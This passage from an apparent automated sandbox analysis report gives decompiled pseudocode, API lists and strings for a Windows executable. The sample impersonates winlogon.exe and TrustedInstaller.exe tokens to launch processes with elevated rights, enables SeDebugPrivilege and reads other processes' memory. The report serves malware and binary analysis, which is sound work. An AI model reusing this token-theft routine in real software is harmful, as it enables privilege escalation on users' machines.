						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t154 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152); // executed
					_t156 = _t154;
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864a
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

/Run, xrefs: 0040867F
/cfg, xrefs: 00408727
, xrefs: 00408595
SeDebugPrivilege, xrefs: 004085B3
%I64x, xrefs: 004085E7
XA, xrefs: 004088E5
/savelangfile, xrefs: 004088A3
`oA, xrefs: 004088D0

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 09c11c85140e2dc0a2d539678250e4bdf5192368ee7cdfd4c31c34b131dbb70b
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 09c11c85140e2dc0a2d539678250e4bdf5192368ee7cdfd4c31c34b131dbb70b
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE6, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 243
processCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401FE6(void* __eax, void* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, long _a12, void* _a16, WCHAR* _a20, struct _STARTUPINFOW* _a24, struct _PROCESS_INFORMATION* _a28) {
				int _v8;
				long _v12;
				wchar_t* _v16;
				void _v546;
				long _v548;
				void _v1074;
				char _v1076;
				void* __esi;
				long _t84;
				int _t87;
				wchar_t* _t88;
				int _t92;
				void* _t93;
				int _t94;
				int _t96;
				int _t99;
				int _t104;
				long _t105;
				int _t110;
				void** _t112;
				int _t113;
				intOrPtr _t131;
				wchar_t* _t132;
				int* _t148;
				wchar_t* _t149;
				int _t151;
				void* _t152;
				void* _t153;
				int _t154;
				void* _t155;
				long _t160;

				_t145 = __edx;
				_t152 = __ecx;
				_t131 =  *((intOrPtr*)(__eax + 0x44a8));
				_v12 = 0;
				if(_t131 != 4) {
					__eflags = _t131 - 5;
					if(_t131 != 5) {
						__eflags = _t131 - 9;
						if(__eflags != 0) {
							__eflags = _t131 - 8;
							if(_t131 != 8) {
								__eflags = _t131 - 6;
								if(_t131 != 6) {
									__eflags = _t131 - 7;
									if(_t131 != 7) {
										__eflags = CreateProcessW(_a4, _a8, 0, 0, 0, _a12, _a16, _a20, _a24, _a28);
									} else {
										_t132 = __eax + 0x46b6;
										_t148 = __eax + 0x48b6;
										__eflags =  *_t148;
										_v16 = _t132;
										_v8 = __eax + 0x4ab6;
										if( *_t148 == 0) {
											_t88 = wcschr(_t132, 0x40);
											__eflags = _t88;
											if(_t88 != 0) {
												_t148 = 0;
												__eflags = 0;
											}
										}
										_t153 = _t152 + 0x800;
										E0040289F(_t153);
										_t154 =  *(_t153 + 0xc);
										__eflags = _t154;
										if(_t154 == 0) {
											_t87 = 0;
											__eflags = 0;
										} else {
											_t87 =  *_t154(_v16, _t148, _v8, 1, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
										}
										__eflags = _t87;
									}
									if(__eflags == 0) {
										_t84 = GetLastError();
										L43:
										_v12 = _t84;
									}
									goto L44;
								}
								__eflags = E00401D99(__eax + 0x44ac, __edx);
								if(__eflags == 0) {
									goto L44;
								}
								_t92 = E0040A46C(_t131, __eflags,  &_a28, _t90, _a4, _a8, _a12, _a20, _a24, _a28);
								__eflags = _t92;
								if(_t92 != 0) {
									goto L44;
								}
								_t84 = _a28;
								goto L43;
							}
							_t93 = OpenSCManagerW(0, L"ServicesActive", 0x35); // executed
							__eflags = _t93;
							if(_t93 != 0) {
								E00401306(_t93); // executed
							}
							_v8 = 0;
							_t94 = E00401F04(_t145, _t152); // executed
							__eflags = _t94;
							_v12 = _t94;
							if(__eflags == 0) {
								_t96 = E00401DF9(_t145, __eflags, _t152, L"TrustedInstaller.exe",  &_v8); // executed
								__eflags = _t96;
								_v12 = _t96;
								if(_t96 == 0) {
									_t99 = E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
									__eflags = _t99;
									if(_t99 == 0) {
										_v12 = GetLastError();
									}
									CloseHandle(_v8); // executed
								}
								RevertToSelf(); // executed
							}
							goto L44;
						}
						_t104 = E0040598B(__edx, __eflags, __eax + 0x46b6);
						__eflags = _t104;
						if(_t104 == 0) {
							goto L44;
						}
						_v8 = 0;
						_t105 = E00401E44(_t152, _t104,  &_v8);
						goto L14;
					}
					_t149 = __eax + 0x44ac;
					_t110 = wcslen(_t149);
					__eflags = _t110;
					if(_t110 <= 0) {
						goto L44;
					} else {
						_v8 = 0;
						__eflags = E00404EA9(_t149, _t110);
						_t112 =  &_v8;
						_push(_t112);
						_push(_t149);
						if(__eflags == 0) {
							_push(_t152);
							_t113 = E00401DF9(_t145, __eflags);
						} else {
							L0040B1F8();
							_push(_t112);
							_push(_t152);
							_t113 = E00401E44();
						}
						_v12 = _t113;
						__eflags = _t113;
						goto L15;
					}
				} else {
					_v548 = 0;
					memset( &_v546, 0, 0x208);
					_v1076 = 0;
					memset( &_v1074, 0, 0x208);
					E00404C3C( &_v548);
					 *((intOrPtr*)(_t155 + 0x18)) = L"winlogon.exe";
					_t151 = wcslen(??);
					_t10 = wcslen( &_v548) + 1; // 0x1
					_t159 = _t151 + _t10 - 0x104;
					if(_t151 + _t10 >= 0x104) {
						_v1076 = 0;
					} else {
						E00404BE4( &_v1076,  &_v548, L"winlogon.exe");
					}
					_v8 = 0;
					_t105 = E00401DF9(_t145, _t159, _t152,  &_v1076,  &_v8);
					L14:
					_t160 = _t105;
					_v12 = _t105;
					L15:
					if(_t160 == 0) {
						if(E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28) == 0) {
							_v12 = GetLastError();
						}
						CloseHandle(_v8);
					}
					L44:
					return _v12;
				}
			}

APIs

memset.MSVCRT ref: 0040201D
memset.MSVCRT ref: 00402035

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00402050
wcslen.MSVCRT ref: 0040205F
wcslen.MSVCRT ref: 004020B4
_wtoi.MSVCRT ref: 004020D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0040214B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 00402157
OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000035,?,?,00000000), ref: 00402173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021D5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021E1
RevertToSelf.KERNELBASE(?,TrustedInstaller.exe,?,?), ref: 004021E7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Part of subcall function 0040598B: memset.MSVCRT ref: 004059B5
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 004059FA
Part of subcall function 0040598B: wcschr.MSVCRT ref: 00405A0E
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 00405A20
Part of subcall function 0040598B: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
Part of subcall function 0040598B: OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
Part of subcall function 0040598B: CloseHandle.KERNEL32(?), ref: 00405A5A
Part of subcall function 0040598B: CloseHandle.KERNEL32(00000000), ref: 00405A61

Part of subcall function 00401E44: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

wcschr.MSVCRT ref: 00402259
CreateProcessW.KERNEL32 ref: 004022B8
GetLastError.KERNEL32(?,?,00000000), ref: 004022C2

Strings

ServicesActive, xrefs: 0040216D
TrustedInstaller.exe, xrefs: 0040219C
winlogon.exe, xrefs: 00402049, 00402076

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$OpenProcess$ErrorLastmemsetwcslen$_wcsicmpwcschrwcscpy$CreateDirectoryManagerRevertSelfSystemToken_wtoiwcscat
String ID: ServicesActive$TrustedInstaller.exe$winlogon.exe
API String ID: 3201562063-2355939583
Opcode ID: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction ID: ccbcfbde9fdc9ff515b0a1e4c69409fc0ea490cdea51ab3e51e2115b03466e24
Opcode Fuzzy Hash: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction Fuzzy Hash: 02813A76800209EACF11AFE0CD899AE7BA9FF08308F10457AFA05B21D1D7798A549B59

Uniqueness

Uniqueness Score: -1.00%

Function 004095FD, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120
processlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004095FD(void* __edx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v52;
				char _v576;
				long _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				char _v1660;
				void* __edi;
				void* __esi;
				void* _t41;
				long _t49;
				void* _t50;
				intOrPtr* _t66;
				struct HINSTANCE__* _t68;
				void* _t71;
				void* _t83;
				void* _t84;
				void* _t85;

				_t78 = _a4;
				E004099D4(_a4 + 0x28);
				_t41 = CreateToolhelp32Snapshot(2, 0); // executed
				_v12 = _t41;
				memset( &_v1132, 0, 0x228);
				_t84 = _t83 + 0xc;
				_v1136 = 0x22c;
				Process32FirstW(_v12,  &_v1136); // executed
				while(Process32NextW(_v12,  &_v1136) != 0) {
					E004090AF( &_v580);
					_t49 = _v1128;
					_v580 = _t49;
					_v52 = _v1112;
					_t50 = OpenProcess(0x410, 0, _t49);
					_v8 = _t50;
					if(_t50 != 0) {
						L4:
						_v1660 = 0;
						memset( &_v1658, 0, 0x208);
						_t85 = _t84 + 0xc;
						E004098F9(_t78, _v8,  &_v1660);
						if(_v1660 != 0) {
							L10:
							E0040920A( &_v576,  &_v1660);
							E00409555(_v8,  &_v48,  &_v40,  &_v32,  &_v24); // executed
							_t84 = _t85 + 0x14;
							CloseHandle(_v8);
							_t78 = _a4;
							L11:
							E004099ED(_t78 + 0x28,  &_v580);
							continue;
						}
						_v16 = 0x104;
						if( *0x41c8e0 == 0) {
							_t68 = GetModuleHandleW(L"kernel32.dll");
							if(_t68 != 0) {
								 *0x41c8e0 = 1;
								 *0x41c8e4 = GetProcAddress(_t68, "QueryFullProcessImageNameW");
							}
						}
						_t66 =  *0x41c8e4;
						if(_t66 != 0) {
							 *_t66(_v8, 0,  &_v1660,  &_v16); // executed
						}
						goto L10;
					}
					if( *((intOrPtr*)(E00404BAF() + 4)) <= 5) {
						goto L11;
					}
					_t71 = OpenProcess(0x1000, 0, _v580);
					_v8 = _t71;
					if(_t71 == 0) {
						goto L11;
					}
					goto L4;
				}
				return CloseHandle(_v12);
			}

APIs

Part of subcall function 004099D4: free.MSVCRT(00000000,00409614,?,?,00000000), ref: 004099DB

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
memset.MSVCRT ref: 0040962E
Process32FirstW.KERNEL32(?,?), ref: 0040964A
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00000000), ref: 00409681
OpenProcess.KERNEL32(00001000,00000000,?), ref: 004096A5
memset.MSVCRT ref: 004096C6
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 004096FC
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00409716
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,00000104,00000000,?), ref: 00409739
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 0040976A
Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Strings

kernel32.dll, xrefs: 004096F7
QueryFullProcessImageNameW, xrefs: 00409706

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleProcess$CloseOpenProcess32memset$AddressCreateFirstFullImageModuleNameNextProcQuerySnapshotToolhelp32free
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 239888749-1740548384
Opcode ID: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction ID: d99fb1acad5946e2155d0e2cb4f7ec9e68cfc0f9061ce230986eeb1e4b65db1d
Opcode Fuzzy Hash: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction Fuzzy Hash: 10413DB2900118EEDB10EFA0DCC5AEEB7B9EB44348F1041BAE609B3191D7359E85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

GetModuleInformation, xrefs: 00409967
psapi.dll, xrefs: 00409927
EnumProcesses, xrefs: 0040995B
GetModuleFileNameExW, xrefs: 0040994F
EnumProcessModules, xrefs: 00409943
GetModuleBaseNameW, xrefs: 00409937

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				int _t43;
				int _t45;
				void* _t48;
				void* _t56;
				signed int _t57;
				long _t61;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					_t43 = ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8); // executed
					if(_t43 == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8); // executed
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t61 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292); // executed
						_t69 = _t61;
						E004055D1(_t61,  &_v28);
					}
					_t45 = FindCloseChangeNotification(_a16); // executed
					E004055D1(_t45,  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b12
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401be6
0x00401bee
0x00401bf0
0x00401bf0
0x00401c02
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNELBASE(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNELBASE(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
FindCloseChangeNotification.KERNELBASE(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$ChangeCloseFindNotificationOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 1126726007-2565891505
Opcode ID: 0e39567e62c21eb8595adf136d2f138d4fded52a6135c8fa9db2ff03bc4b818b
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 0e39567e62c21eb8595adf136d2f138d4fded52a6135c8fa9db2ff03bc4b818b
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
